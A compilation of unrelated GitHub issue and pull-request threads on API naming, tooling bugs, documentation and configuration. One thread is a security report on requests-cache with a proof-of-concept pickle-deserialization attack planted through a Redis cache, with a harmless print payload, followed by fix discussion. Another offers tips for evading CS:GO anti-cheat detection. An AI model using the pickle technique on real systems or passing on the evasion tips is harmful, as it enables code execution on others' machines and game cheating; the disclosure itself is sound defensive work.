The first URL takes an id, but it's unclear which type of ID this is, compared to the next two endpoints, which clearly prefix their IDs. Another example is party and party_id, which is consumed by many endpoints.
My preference would be to clearly prefix all service endpoints by the action they perform, and clearly name all parameters with their type.
I'm happy to submit a PR to this repo

Here are some more concrete examples of the changes I envision:

Adding verb prefixes to endpoints. Examples include:
ListOrdersByMarket and GetOrderByMarketAndID:
https://github.com/vegaprotocol/protos/blob/3e4accef56fa71ec3734a1f4b71af528d519c8bf/sources/data-node/grpc-rest-bindings.yml#L23-L26
ListAssets vs GetAssetByID:
https://github.com/vegaprotocol/protos/blob/3e4accef56fa71ec3734a1f4b71af528d519c8bf/sources/data-node/grpc-rest-bindings.yml#L35-L38
While I think "ephemeral" actions like these can stay the same:
https://github.com/vegaprotocol/protos/blob/3e4accef56fa71ec3734a1f4b71af528d519c8bf/sources/data-node/grpc-rest-bindings.yml#L64
https://github.com/vegaprotocol/protos/blob/3e4accef56fa71ec3734a1f4b71af528d519c8bf/sources/data-node/grpc-rest-bindings.yml#L69
Other endpoints are already named in this style, eg:
https://github.com/vegaprotocol/protos/blob/3e4accef56fa71ec3734a1f4b71af528d519c8bf/sources/data-node/grpc-rest-bindings.yml#L98-L101

Qualify ID's/references unambiguously. Examples include:
https://github.com/vegaprotocol/protos/blob/3e4accef56fa71ec3734a1f4b71af528d519c8bf/sources/data-node/grpc-rest-bindings.yml#L95
https://github.com/vegaprotocol/protos/blob/3e4accef56fa71ec3734a1f4b71af528d519c8bf/sources/data-node/grpc-rest-bindings.yml#L105
https://github.com/vegaprotocol/protos/blob/3e4accef56fa71ec3734a1f4b71af528d519c8bf/sources/data-node/grpc-rest-bindings.yml#L113
https://github.com/vegaprotocol/protos/blob/3e4accef56fa71ec3734a1f4b71af528d519c8bf/sources/data-node/grpc-rest-bindings.yml#L131
https://github.com/vegaprotocol/protos/blob/3e4accef56fa71ec3734a1f4b71af528d519c8bf/sources/data-node/grpc-rest-bindings.yml#L171

RESTify endpoint names:
https://github.com/vegaprotocol/protos/blob/3e4accef56fa71ec3734a1f4b71af528d519c8bf/sources/data-node/grpc-rest-bindings.yml#L39-L40
I'd change this to /assets/{asset_id}/infrastructure-fee-accounts (kebab case name, qualify id, missing plural)

Closing as work that is being covered in:

https://github.com/vegaprotocol/data-node/issues/770


x/tools/cmd/gomvpkg // import  not changed

Please answer these questions before submitting your issue. Thanks!
What version of Go are you using (go version)?
1.10.3
Does this issue reproduce with the latest release?
1.10.3 is the latest
What operating system and processor architecture are you using (go env)?
What did you do?
go get -u golang.org/x/tools/cmd/gomvpkg
gomvpkg -from istio.io/fortio -to fortio.org/fortio
# the fnet/network.go file has the other package changed but not itself (same for all files):
package fnet // import "istio.io/fortio/fnet"

import (
        "fmt"
        "io"
        "io/ioutil"
        "math/rand"
        "net"
        "os"
        "strconv"
        "strings"
        "sync"

        "fortio.org/fortio/log"
        "fortio.org/fortio/version"
)

What did you expect to see?
The import comment to be change to be the new location
What did you see instead?
No change on the // import

another unrelated bug is that it changed package main to package fortio at the top level go file

I see https://github.com/golang/tools/blame/master/refactor/rename/mvpkg.go#L253 from 3 years ago
but I used go get -u to get the latest and it didn't change those lines, not sure why
(is it related to the package being a child of the one given as argument?)


Update to reflect apparent documentation error

The documentation suggested to only add config to config/prod.ex however to run the mix tasks that are also documented or to run a local dev environment or tests then default DSN values are needed even if the service is disabled in all environments other than prod.

Great! Could you also fiy. x this here https://github.com/getsentry/sentry-elixir/blob/master/docs/index.rst#configuration and I will merge right aw

The config gets complex if you move any to config/config.ex as even though sentry is not active in other environments it attempts to load config and raises errors.
Might be worth keeping the config only in prod.ex but then limiting the :sentry application to just prod?
{:sentry, "~> 1.0.0", only: [:prod]}

It looks like documentation for this has been updated, so I'm going to close this for now.  Always happy to improve the docs if something is still unclear though 🙂


cannot import Binoculars.

binoculars has no module named Binoculars.
specifically after installing binoculars as per given instructions,
 from binoculars import Binoculars

this line throws error as binoculars has no module named Binoculars

I am having the same problem.

Sorry about that, please use from binoculars.detector import Binoculars and it should work. Closing this issue now, feel free to open.


Tony/13_autoplay

Pull Request Details
What issue does this PR address

Disabled the video autoplay when the page loads and avoid the video widget to get focus when clicking on radio buttons or checkboxes on the same page.

Link to associated issue: #13 and #14

Checklist
Complete the check-list below to ensure your branch is ready for PR.
Flutter Style Guide: https://survivor.togaware.com/gnulinux/flutter-style.html

[ ] Screenshots included in linked issue
[x] Changes adhere to the team style and coding guideline
[x] No confidential information
[x] No duplicated content
[x] No lint check errors related to your changes (make prep or flutter analyze lib)
[ ] Pre-exisiting lint errors noted: [HERE]
[x] Tested on at least one device

[ ] Android Phone
[ ] Android Emulator
[ ] Chrome on Android
[ ] Chrome
[ ] iOS
[ ] Linux
[x] MacOS
[ ] Windows

[x] Added 2 reviewers (or 1 for private repositories then they add another)

Finalising
Once PR discussion is complete and 2 reviewers have approved:

[ ] Merge dev into the branch
[ ] Resolve any conflicts
[ ] Add one line summary into CHANGELOG.md
[ ] Bump appropriate version number in pubspec.yaml
[ ] Push to git repository and review
[ ] Merge PR into dev

Works well. Thanks Tony. One minor thing. It seems like there are a number of changed files that are not relevant to this PR. Aim to create a clean branch for separate PRs.

Thanks @anushkavidanage. Due to significant structural changes in the code caused by issue #10, this branch was created based on #10 to minimise merge conflicts. For future branches, I will create them from dev.

Works well. Thanks Tony. One minor thing. It seems like there are a number of changed files that are not relevant to this PR. Aim to create a clean branch for separate PRs.

Hi @anushkavidanage, I changed the base branch to #10, and all the changed files not relevant disappeared.


Security vulnerability when used with redis

If an attacker could gain write access to a redis cache, he could easily execute code when the cache is accessed.
Pickle will happily execute arbitrary code on unpickling specially crafted serialized data.
Proof of concept:
import requests
import requests_cache

requests_cache.install_cache(cache_name='cache',backend='redis')
requests_cache.clear()

print("Filling cache.")
response = requests.get("https://example.org")

### attacker's part

print('Attacker: "Planting" exploit')
from redis import StrictRedis as Redis
from requests_cache.backends.storage.redisdict import RedisDict

rd = Redis()

class Exploit:
    def __reduce__(self):
        return (print, ("I won.",))

import pickle

exploit = pickle.dumps(Exploit(), protocol=0)

for key in rd.hgetall("cache:responses").keys():
    rd.hset("cache:responses", key, exploit)

print('Attacker: finished')

### end of attacker's part

print("Accessing cache")
response = requests.get("https://example.org")

Of course the same applies for all other storages (except in-memory) but Redis servers are usually not protected (and requests-cache does not allow usage with passwords).
A fix would be to move away from pickle (but this would be hard) or force the data to be signed before saving (and checked before loading) - or it least make signatures possible (enforcing would break compatibility).
Yours sincerely,
Simon Biewald

@Varbin One ease solution for this (to start with, at least) would be to make it easier to connect to an authenticated Redis server. You can currently do this using the connection parameter:
from redis import StrictRedis
from requests_cache import CachedSession

connection = StrictRedis(username='*****', password='*****')
session = CachedSession(backend='redis', connection=connection)

But that could maybe be made simpler by adding top-level username and password parameters to CachedSession. What do you think?
I'm also open to alternative serialization methods to replace pickle, if someone wants to submit a PR for it.

@JWCook
Good idea.
As an alternative serializer I would suggest to use itsdangerous - written by Pallets (Flask) to do exactly that. It uses pickle in the end, but uses a MAC to authenticate the data, so manipulation can be detected before deserialization.
Its another dependency, but it has been "battletested" in Flask.
A future signature may look like:
key = b'123...'

session = CachedSession(..., key=key)

To make migration to the new scheme easier, I suggest falling back to the current behaviour (with a warning).
Usage of itsdangerous is as following (using pickle in the end, as the default json serializer might not serialize everything):
import itsdangerous

serializer = itsdangerous.serializer.Serializer(key, b"requests-cache", serializer=pickle)
# serializer.loads(...)
# serializer.dumps(...)

Unfortunately I currently do not have time for submitting a PR for now.

I like that idea! Thanks for the suggestion.


Add support for PlantUML diagrams.

Third attempt to add PlantUML diagram support to Gollum-lib:

Uses external service instead of java binaries.
Checks for external service availability and shows an error if not available.
Add tests using a nice (but inaccurate) Lotr ring bearers diagram.

:+1: Many thanks! Would be great if you could write a short blurp about this on the wiki (although there's no rush since this is in rc for now).


Remove line setting Block.LineHeight to 1

I had a binding on the RichTextBox like:
Block.LineHeight="{Binding ActualHeight, ElementName=itemKey}"
Block.LineStackingStrategy="BlockLineHeight"

This line I've removed here was breaking it! :)

...Maybe it's not this, I think I'm just loosing my mind!


Is this cheat detected?

Hello, i want to know if the cheat is detected?
With best regards!

with an undetected injecting method/injector. it still not detected :D

There's always a risk, but if you have a good injector you should be fine, but do not use Osiris after a big CSGO update and wait for an Osiris Update.

Simply you can make cheat undetected, theres are too many ways.
Use randoinjector, add some asm__ bytes, junkcodes, off optimalization.
rand() can be tho useful, for little change signature (after start), tho can add it into cheat.
Like that my paste is undetected more then 8 months, gl.

Ok thank you for your answer
Herr Littlehurensohn and Mr.Asviix

adding random assembly does nothing but break up signatures to be smaller.
adding junkcode does literally nothing
turning off optimization has downstream affects and eventually the changes from it will also get sigged
the cheat isn't even detected right now, not many people use it compared to AW or OT so it's not a big priority for valve.
adding more features makes more signatures possible
removing features doesn't do much when the hook or an important feature gets sigged
recode hooking would actually work but have fun using any other hooking method, most are slower and the equal/faster are probably detected.

@danielkrupinski close it :heart:

Simply you can make cheat undetected, theres are too many ways.
Use randoinjector, add some asm__ bytes, junkcodes, off optimalization.
rand() can be tho useful, for little change signature (after start), tho can add it into cheat.
Like that my paste is undetected more then 8 months, gl.
BTW: Add more features from other sources, remove some useless features, recode hooking.

Hi! I'd like to recode the cheat a bit (remove some functions). Can you help me do it?


[monitor] Update to latest OTEL

Packages impacted by this PR

@azure/monitor-opentelemetry
@azure/monitor-opentelemetry-exporter
@azure/opentelemetry-instrumentation-azure-sdk

Issues associated with this PR

https://github.com/Azure/azure-sdk-for-js/issues/26515

https://github.com/Azure/azure-sdk-for-js/issues/26514

https://github.com/Azure/azure-sdk-for-js/issues/26513

https://github.com/Azure/azure-sdk-for-js/issues/26512

https://github.com/Azure/azure-sdk-for-js/issues/26249

https://github.com/Azure/azure-sdk-for-js/issues/26443

https://github.com/Azure/azure-sdk-for-js/issues/26340

https://github.com/Azure/azure-sdk-for-js/security/dependabot/38

Describe the problem that is addressed by this PR
Upgrading to latest OTEL libraries
What are the possible designs available to address the problem? If there are more than one possible design, why was the one in this PR chosen?
Are there test cases added in this PR? (If not, why?)
Provide a list of related PRs (if any)
Command used to generate this PR:**(Applicable only to SDK release request PRs)
Checklists

[x] Added impacted package name to the issue description
[ ] Does this PR needs any fixes in the SDK Generator?** (If so, create an Issue in the Autorest/typescript repository and link it here)
[x] Added a changelog (if necessary)

looks that we are hitting https://github.com/microsoft/rushstack/issues/4274
I think we can downgrade pnpm version in rush.json to v7

API change check
API changes are not detected in this pull request.


(#18) Remove deprecated File.exists? to support Ruby 3.2

This is needed for Puppet 8 support.
Closes: #18

Thank you!


Tooltip Model documentation sounds not correct

Documentation Is:

[ ] Missing or needed
[X] Confusing
[X] Not Sure?

Tooltip model documentation
Using the custom callback, I see that the tooltip model has been documented here: https://www.chartjs.org/docs/master/configuration/tooltip#tooltip-model
But logging the object, I have got a different object:
active: false
afterBody: []
beforeBody: []
body: [{…}]
caretX:<PHONE_NUMBER>208334
caretY: 306.8116
dataPoints: [{…}]
footer: []
height: 70
labelColors: [{…}]
labelTextColors: ["#fff"]
opacity: 0
options: {enabled: true, mode: "point", position: "average", intersect: true, custom: ƒ, …}
title: (3) ["Before Title", "Title", "After Title"]
width:<PHONE_NUMBER>75
x:<PHONE_NUMBER>208334
xAlign: "left"
y: 271.8116
yAlign: "center"
_active: []
_cachedAnimations: Animations {_chart: Chart, _properties: Map(7)}
_chart: Chart {platform: DomPlatform, id: 0, ctx: CanvasRenderingContext2D, canvas: canvas#canvas, config: {…}, …}
_eventPosition: {x: 711, y: 750}
_size: {width:<PHONE_NUMBER>75, height: 70}

I think the doc is not updated.

We should probably remove the _ prefixed properties from the documentation and update the rest to match

Is it valid to be able to access the _chart and _chartInstance properties, for example when setting a custom global tooltip?
Eg:
Chart.defaults.global.tooltips.custom = function (model) {
    let tooltip = document.getElementById("chartjs-tooltip");
    let chartType = this._chartInstance.config.type;
    // You can now define custom tooltips based on chart type
...

I'm not sure about 2.9, but there's no _chartInstance in the source code in 3.0


Microsoft.WindowsApp.Resources.Projection should be targeting 10.0.17763.0

Microsoft.WindowsApp.Resources.Projection should be targeting 10.0.17763.0. This is to get inalign with the RS5 support. This will also allow us to merge the thin packages into one.

/azp run

<CSWinRTWindowsMetadata>10.0.18362.0</CSWinRTWindowsMetadata>

can you also change this?

Refers to: dev/MRTCore/mrt/Microsoft.WindowsApp.Resources/projection/Microsoft.WindowsApp.Resources.Projection.csproj:20 in 0dad4bb. [](commit_id = 0dad4bb1b0876d02e36d350793f8d05158975bb8, deletion_comment = True)

/azp run

/azp run

/azprun

/azp run

/azp run


First file upload

I started the translation and refactoring of the page layout, the new files started to be uploaded on 10/03/2021.

Summary

Changelog

[CATEGORY] [TYPE] - Message
Test Plan

Thanks for looking into translations! Is there a larger effort around this? I don't see any other translations in this repo.


⚠ Bofrost.be has degraded performance

In 529350d, Bofrost.be (https://www.bofrost.be) experienced degraded performance:

HTTP code: 200
Response time: 971 ms

Resolved: Bofrost.be performance has improved in ab74a56.


Is there any way to change background color opacity?

I'm assuming I can hook into Canvas to make the background color more transparent?
      backgroundColor: 'rgba(0, 0, 200, 0.5)',
Sets the color to green but still with full opacity.
Thanks!

My bad, had a brain fart and didn't realize you could set a RRGGBBAA value for colors.


Add management of podman-autoupdate timer

This adds a flag to switch on or off the podman-autoupdate service timers.

This change gives me pause.  The defined type "podman::container" currently uses the "update" parameter to control this behavior.  When the "update" parameter value is false, the intent is to re-deploy the container only when the version is re-assigned by the puppet catalog.  When "update" is true, the digest of the current container image is checked against that of the registry and re-deployed when a difference is detected.
It may be worth switching the custom update behavior of the defined type to just use podman-autoupdate, but I'll need to spend a little more time with it.  If you'd like to investigate that I'd be happy to get your thoughts.

Dropping this in favor of the currently implemented update method used by the module.


multisite support

I like the idea, and this is exactly what the next main feature should be. A few notes:

it would be better to have a lib/site_support/site_manga_reader.rb and a lib/site_support/site_manga_here.rb with a lib/site_support.rb with the proper module includes to make it more organised and set the convention for other site supports.
did you rebase from master? Check it out as I was testing with xpath instead of css selectors, still dunno which would be best
a few specs on those new classes wouldn't hurt ;-)

I really should have done the modularization thing... all i wanted was to download one manga that wasn't on the default manga site and thought to send those modifications. I will revise it.
I've rebased it. Although i don't think this kind of performance increment will facilitate reading and supporting from others and i kinda like css selector better.
Thanks for the comments.

:+1: if you do the modularisation, I'll merge it.

still missing specs though. . .
sorry
:)


region `drom0_0_seg' overflowed  (IDFGH-8450)

Answers checklist.

[X] I have read the documentation ESP-IDF Programming Guide and the issue is not addressed there.
[ ] I have updated my IDF branch (master or release) to the latest version and checked that the issue is present there.
[X] I have searched the issue tracker for a similar issue and not found a similar issue.

General issue report
Hello,
I'm using windows 10 with the 4.4 idf version installed together with vscode.
I got this error when I'm building my example :
region `drom0_0_seg' overflowed by 23894564 bytes
The example project is about ESP-DL running with a customized model. The model that I choose is "Tiny YOLOv2".  The error happens when I created the object of the model. without the model object, I can compile without any error.
Is there any way that I can solve this problem?
Thank you,

Okay, Thanks @igrr. I will do research on working models for the esp-dl library.


Count all keys with strictly non-null values

Cater for values like empty strings and zeros when checking scalar types.
Currently, attempting to find a primary or composite key that has an empty string or zero value will throw exception 'Zend_Db_Table_Exception' with message 'Missing value(s) for the primary key' in vendor/shardj/zf1-future/library/Zend/Db/Table/Abstract.php:1322

If I had the time I'd purge all == usage from the codebase, soft type comparison causes so many issues.

It'd get my vote! Appreciate the work you've done on this fork. :+1:

I appreciate the PR


Updating an ICZN name at rank genus to rank Tribe is prevented

When I have a name, and it has rank genus, and its current parent is a subfamily, and it has a proper tribe ending, when I use the Edit nomenclature task, then I can not set the rank to tribe.
Example from Opiliones data.

Actually, the system didn't let me enter the "tribe" category -- it changed forcibly to "genus", I don't know how and why.

For new names the rank is predictive based on the parent.  We predict that most people will add genera to families, therefor the value is defaulted to genus, you can simply pick "tribe" to over-ride the value.

I did, but the system kind of "locked" onto "genus" and nothing I would do would bulge this back to "tribe".

@jlpereira let's look into this.

I understand that if the system makes some smart guesses it saves time, but they cannot be so inflexible, not allowing us to change it back to proper rank.

It's definitely supposed to let you over-ride on create.  After create is
the known bug.  Experimenting now.
On Fri, Feb 21, 2020 at 10:10 AM Adriano B. Kury<EMAIL_ADDRESS>wrote:

I understand that if the system makes some smart guesses it saves time,
but they cannot be so inflexible, not allowing us to change it back to
proper rank.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/SpeciesFileGroup/taxonworks/issues/1321?email_source=notifications&email_token=AAAFQSASGMN3O6H4VSFJ5CDRD74GLA5CNFSM4KXI7AWKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEMTGWIA#issuecomment-589720352,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAAFQSC6DVEPEM3Q2WY24PDRD74GLANCNFSM4KXI7AWA
.

As an example I had added the tribe Buemarinoini, which as created the other day, and the system stubbornly changes it to genus and ignored my attempts to revert it to tribe.
https://sfg.taxonworks.org/tasks/nomenclature/browse?utf8=✓&taxon_name_id=&[taxon_name_id]=636610


Failed extension installs

Issue Type: Bug
Testing #48402
Randomly installing extensions and occasionally reloading the window, I eventually had the attached output in my shared process log. There are a few failed installs, but no detail
shared-process.log
s on why they failed.

Looked into the logs and the failures are not related to the extraction count.

Permissions don't seem to be the issue in my case. Some of the same extensions later installed without issues.

@chrmarti Are there any steps to reproduce this issue?

Quickly installing random extensions and reloading the window still seems to trigger installation errors.
sharedprocess.log

I suspect that on reload, renderer request to shared process is cancelled and this could be the reason why some of the installations are cancelled.

This might happen quite regularly in the wild when users install two or more extensions and then click on 'reload' on the first while the second is still installing.

@chrmarti Good Catch !!!

Can no longer trigger this, marking verified.


⚠ API has degraded performance

In 46594ff, API (https://api.adityacprtm.dev/status) experienced degraded performance:

HTTP code: 503
Response time: 10187 ms

Resolved: API performance has improved in 26bab72.


Last pre-release fixes for Version 1.5

Description
This task collects small issues that came up during QA testing.
See MOVE QA Testing v1.5 (internal-only) for details.
Acceptance Criteria

[x] show study purple squares on New Request and Edit Request

Changes

[ ]  Remove checkbox and have them selected as default for New Requests in Single Location mode
[ ]  Create Project divider should have a similar padding as above 'Request Priority and Details' header

Bug:

Users should not be able to Submit a Request if no study locations are selected via checkbox, Submit button should be in inactive state
If user selects all Locations and then uses dropdown to select Midblocks and applies a Study Type, then User is shown a warning dialog saying the Intersections could not be changed, even if the user specifically selected Midblocks in the dropdown

P1 Bug:

In ML mode, when making New Request and creating New Project, all locations are included in the New Project, even if user deselected some, or sometimes the request doesn't go through and the Submit button freezes

@shinechaudhuri @mkewins there's a couple of areas of confusion here that we should probably discuss, as they might point to a) holdovers from the mental model of the previous design and/or b) lingering usability problems.
I'll attempt to describe how these things currently work, why that is, and how it might be improved (taking into account feedback to that effect so far).  We can also discuss quickly in Design Critique today if that's helpful.

First: selection is no longer about which studies are or are not included in the request, but is instead about editing.  Selected studies can be edited using the top bar (to set study type, hours, duration) or using the map (to set location).  All studies listed are included in the request, regardless of whether they are selected.
The idea was to let the user build up a list ("shopping cart") of studies, and to reframe selection as a way to edit multiple things in that list at once.  I've seen similar patterns in shopping cart-like flows before, and IIRC in such flows selection usually means "I want to modify these things in some way", not "I want to order only these things".
One possibility would be to add the number of studies to the "Submit" button, or add copy elsewhere that makes it clear that all studies listed are being requested.

Second: the "Locations / Midblocks / Intersections" dropdown changes what the "Select All" checkbox operates on.  If the dropdown is in "Locations" mode when the user clicks the checkbox, it will select all locations.  If the user then switches to "Midblocks", it keeps the same selection, but now the "Select All" checkbox would toggle midblocks.
The idea here was to merge the intersections / midblocks steps into a single page: after all, these steps were doing very similar things, but keeping them separated made implementing a sensible add / remove study flow much more difficult.  (For instance: you're on the midblocks step.  So do we show only midblocks on the map?  And then what about the location search bar, which searches by intersection?)
One possibility to reduce confusion is something like the following:

user is in "Locations" mode and selects all;
user switches to "Midblocks" mode, at which point:

all non-midblock locations are deselected;
selection on non-midblock locations is disabled.

Third: there is no longer a sense of single-location vs. multi-location mode.  There is just New Request, which can create one or more study requests, and which can optionally lump those study requests into a project (either new or existing).  Both single-location selections and multi-location selections enter the same New Request flow; the initial state of that flow is just different in each case.
This reduces the maintenance burden of this part of MOVE considerably: we no longer have two completely separate flows, one of which is a 4-step wizard.  It also means that, if a user does enter New Request from a single-location selection, they can still add more studies - they could add a Ped Delay as well as a TMC at an intersection, for instance, or add ATRs on the adjacent midblocks.  This has the awesome side effect of bringing New Request much more in line with a "separate but related product" vision.
One possibility, as suggested, is to hide the checkboxes and topbar if only one study is being requested.  If we do that, IMHO it should remain obvious that the user can request more studies (e.g. by still showing the "use the map to add a study" message at top).

some jot notes:

i understood the selection checkboxes meant for editing via the top-bar, but @shinechaudhuri's confusion highlights that other users may be confused as well (especially since they're familiar with the existing study request flow, so the mental model hold-over may be relevant to others). regardless, there's apparent confusion over what selected / deselected means here.
i think the "everything is included by default" method works for a limited number of selected locations, but would be cumbersome for ~10s (say, 50) locations. say you only want to create count requests for 20, then you have to go through and manually remove 30 locations. one question which could help clarify: do users come into the flow with the expectation of including most things, or only a few?
the bullet points under "Second" took me a couple readthroughs to understand; i get it now, but unsure about how that interaction would feel

notes from discussion:

show the number of items in the selected state
show the number of requests being submitted
add edit location functionality to the card itself

notes on this: (1) we don't have a search index for midblocks; (2) there are some intersections in the city where two streets cross more than once. we'll need to have a map interaction for editing midblocks within the New Request flow.
add an "edit location" button on each card that works within the existing functionality and deselects anything else selected

grey vs. blue icons: everything is blue by default; anything selected for editing is blue-on-white

Closing out after recent QA testing - thanks everyone!


Consistent use of "sequence-classification" vs. "text-classification", "audio-classification"

Currently, transformers' FeaturesManager._TASKS_TO_AUTOMODELS to handle strings passed to load models. Notably, this is used in the ORTQuantizer.from_pretrained() method (where here, for example, feature="sequence-classification"):
https://github.com/huggingface/optimum/blob/5653a16727fc99b627d45827485b2ac0ace4c66f/optimum/onnxruntime/quantization.py#L102
In the meanwhile, pipeline abstraction for text classification expects pipeline(..., task="text-classification"). Hence it could be troublesome for users to pass both "text-classification" and "sequence-classification".
A handy workflow could be the following:
from onnxruntime.quantization import QuantFormat, QuantizationMode, QuantType
from optimum.onnxruntime import ORTQuantizer
from optimum.onnxruntime.configuration import QuantizationConfig
from optimum.onnxruntime.modeling_ort import ORTModel

from optimum.pipelines import pipeline as _optimum_pipeline
from transformers import pipeline as _transformers_pipeline

from optimum.onnxruntime.modeling_ort import ORTModelForSequenceClassification

static_quantization = False
task = "text-classification"

# Create the quantization configuration containing all the quantization parameters
qconfig = QuantizationConfig(
    is_static=static_quantization,
    format=QuantFormat.QDQ if static_quantization else QuantFormat.QOperator,
    mode=QuantizationMode.QLinearOps if static_quantization else QuantizationMode.IntegerOps,
    activations_dtype=QuantType.QInt8 if static_quantization else QuantType.QUInt8,
    weights_dtype=QuantType.QInt8,
    per_channel=False,
    reduce_range=False,
    operators_to_quantize=["Add"],
)

quantizer = ORTQuantizer.from_pretrained(
    "Bhumika/roberta-base-finetuned-sst2",
    feature=task,
    opset=15,
)

tokenizer = quantizer.tokenizer

model_path = "model.onnx"
quantized_model_path = "quantized_model.onnx"

quantization_preprocessor = None
ranges = None

# Export the quantized model
quantizer.export(
    onnx_model_path=model_path,
    onnx_quantized_model_output_path=quantized_model_path,
    calibration_tensors_range=ranges,
    quantization_config=qconfig,
    preprocessor=quantization_preprocessor,
)

ort_session = ORTModel.load_model(quantized_model_path)
ort_model = ORTModelForSequenceClassification(ort_session, config=quantizer.model.config)

task_alias = "text-classification"
ort_pipeline = _optimum_pipeline(
    task=task,
    model=ort_model,
    tokenizer=tokenizer,
    feature_extractor=None,
    accelerator="ort"
)

which currently raises KeyError: "Unknown task: text-classification for ORTQuantizer.from_pretrained().
Right now we need to pass something like
task = "text-classification"
feature = "sequence-classification"

and provide the feature to ORTQuantizer, which is troublesome.
Possible solutions are:

Have an auto-mapping from "tasks" (as in https://huggingface.co/models ) to "features" ("text-classification" --> "sequence-classification", "audio-classification" --> "sequence-classification")
Modify transformers.onnx.FeaturesManager to use real tasks and not "sequence-classification"
Add abstraction classes like ForTextClassification, ForAudioClassification classes just inheriting from ForSequenceClassification and modify transformers.onnx.FeaturesManager accordingly

@lewtun

Thanks for creating this detailed issue @fxmarty!
One challenge with unifying the "features" used in the ONNX export and the tasks defined in the pipeline() function is that one can have past key values that need to be differentiated, e.g. these two features are different:

causal-lm
causal-lm-with-past

Having said that, I agree that it would be nice if one could reuse the same task taxonomy from the transformers.pipeline() function, so maybe some light refactoring can capture the majority of tasks.
cc @michaelbenayoun who knows more of the history behind the ONNX "features" names

Yes, I think the original feature names were chosen by looking at the classes names (BertForSequenceClassification, etc). I think @fxmarty's first suggestion could work and is easy to implement.


AttributeError: 'module' object has no attribute 'JSONDecodeError'

when I try to list tracks, some errors occur when paesing indices.body, please help me figure out what went wrong.
Rally version (get with esrally --version):
esrally 1.0.0

Invoked command:
esrally list tracks --track-repository=billions-rally-tracks

Configuration file (located in ~/track.json)):
{% set index_count = 1 %}
{% import "rally.helpers" as rally with context %}
{
  "version": 2,
  "description": "index",
  "indices": [
    {% set comma = joiner() %}
    {% for item in range(index_count) %}
    {{ comma() }}
    {
      "name": "billions-jssz.benchmark.scene1-{{item}}",
      "body": "settings/mapping.json",
      "types": [ "logs" ]
    }
    {% endfor %}
  ],
  "corpora": [
    {{ rally.collect(parts="corpora/corpora.json") }}
  ],
  "challenges": [
    {{ rally.collect(parts="challenges/index.json") }}
  ]
}

Configuration file (located in ~/settings/mapping.json)):
{
  "settings": {
    "index.number_of_shards": {{number_of_shards | default(1)}},
    "index.number_of_replicas": {{number_of_replicas | default(0)}}
  },
  "mappings": {
    "type": {
      "_source": {
        "enabled": {{ source_enabled | default(true) }}
      }
    }
  }
}

logs:
2018-09-04 06:39:57,173 -not-actor-/PID:85039 esrally.track.loader INFO Loading template [definition for index billions-jssz.benchmark.scene1-0 in settings/mapping.json].
2018-09-04 06:39:57,175 -not-actor-/PID:85039 esrally.rally ERROR A fatal error occurred while running subcommand [list].
Traceback (most recent call last):
  File "/data/rally/lib/python3.4/site-packages/esrally/track/loader.py", line 753, in _load_template
    return json.loads(rendered)
  File "/usr/lib/python3.4/json/__init__.py", line 318, in loads
    return _default_decoder.decode(s)
  File "/usr/lib/python3.4/json/decoder.py", line 343, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File "/usr/lib/python3.4/json/decoder.py", line 361, in raw_decode
    raise ValueError(errmsg("Expecting value", s, err.value)) from None
ValueError: Expecting value: line 9 column 20 (char 158)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/data/rally/lib/python3.4/site-packages/esrally/rally.py", line 452, in dispatch_sub_command
    dispatch_list(cfg)
  File "/data/rally/lib/python3.4/site-packages/esrally/rally.py", line 351, in dispatch_list
    track.list_tracks(cfg)
  File "/data/rally/lib/python3.4/site-packages/esrally/track/loader.py", line 41, in list_tracks
    available_tracks = tracks(cfg)
  File "/data/rally/lib/python3.4/site-packages/esrally/track/loader.py", line 37, in tracks
    for track_name in repo.track_names]
  File "/data/rally/lib/python3.4/site-packages/esrally/track/loader.py", line 37, in <listcomp>
    for track_name in repo.track_names]
  File "/data/rally/lib/python3.4/site-packages/esrally/track/loader.py", line 636, in read
    return self.read_track(track_name, track_spec, mapping_dir)
  File "/data/rally/lib/python3.4/site-packages/esrally/track/loader.py", line 697, in __call__
    for idx in self._r(track_specification, "indices", mandatory=False, default_value=[])]
  File "/data/rally/lib/python3.4/site-packages/esrally/track/loader.py", line 697, in <listcomp>
    for idx in self._r(track_specification, "indices", mandatory=False, default_value=[])]
  File "/data/rally/lib/python3.4/site-packages/esrally/track/loader.py", line 732, in _create_index
    body = self._load_template(f.read(), "definition for index {} in {}".format(index_name, body_file))
  File "/data/rally/lib/python3.4/site-packages/esrally/track/loader.py", line 754, in _load_template
    except (json.JSONDecodeError, jinja2.exceptions.TemplateError) as e:
AttributeError: 'module' object has no attribute 'JSONDecodeError'

Thanks for your report @cjx-great. You can see the original problem here:
ValueError: Expecting value: line 9 column 20 (char 158)

Unfortunately, this is not very easy to see because apparently there is a bug with Rally in Python 3.4 (which you are using). If you'd use Python 3.5 or Python 3.6 you'll see this on the command line:
[ERROR] Cannot list. Could not load file template for 'definition for index billions-jssz.benchmark.scene1-0 in settings/mappings.json'
	Expecting value: line 9 column 20 (char 158)

When we look in line 9 of the filesettings/mappings.json we see:
"enabled": {{ source_enabled | default(true) }}

After this has been processed by the template engine, this is still not valid JSON. You can fix this either by converting the result to JSON explicitly:
"enabled": {{ source_enabled | default(true) | tojson }}

or just have the template engine render it as a string instead of a Python boolean:
"enabled": {{ source_enabled | default('true') }}

We'll fix the problem w.r.t. AttributeError: 'module' object has no attribute 'JSONDecodeError'  with the next version of Rally so it will show the correct error message then. Meanwhile I recommend to upgrade to Python 3.5 or Python 3.6 as a workaround.

The fix is now on master and will be released with Rally 1.0.1.


Trim down the files included in the NPM bundle

It should really just be the UMD module and maybe the license.

Fixed: https://github.com/captbaritone/webamp/commit/f3777df8b6b3d36bdbf3265258acbb4ad2618b14


fix: add equals and hash code to reflective elements

Codecov Report
Base: 96.11% // Head: 86.99% // Decreases project coverage by -9.12% :warning:

Coverage data is based on head (f551741) compared to base (0c3c745).
Patch coverage: 21.05% of modified lines in pull request are covered.

Additional details and impacted files
@@             Coverage Diff              @@
##               main      #31      +/-   ##
============================================
- Coverage     96.11%   86.99%   -9.13%
- Complexity      161      169       +8
============================================
  Files            16       16
  Lines           412      469      +57
  Branches         32       64      +32
============================================
+ Hits            396      408      +12
- Misses           10       48      +38
- Partials          6       13       +7

Impacted Files
Coverage Δ

